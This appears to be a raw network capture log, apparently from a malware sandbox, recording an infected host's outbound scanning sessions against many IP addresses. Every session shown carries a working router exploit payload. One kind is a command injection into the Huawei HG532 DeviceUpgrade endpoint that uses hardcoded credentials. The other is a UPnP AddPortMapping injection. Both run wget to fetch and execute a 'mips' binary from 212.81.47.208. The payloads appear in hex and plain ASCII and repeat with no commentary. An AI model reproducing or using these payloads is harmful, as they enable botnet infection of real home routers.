2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	43520	41.40.186.136	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.950870991 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	46734	41.231.60.22	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.950927019 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	39594	41.142.203.25	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.952173948 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	58254	41.18.81.231	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.984512091 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	39422	156.235.228.202	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.984529018 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	35244	41.47.150.192	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:27.985681057 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	47200	156.246.142.144	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:28.016882896 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	53988	156.122.160.94	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:28.046691895 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	37872	197.192.58.48	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:28.135322094 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	38984	41.201.40.37	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:28.136409044 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	58012	156.223.246.183	37215

Timestamp	Bytes transferred	Direction	Data
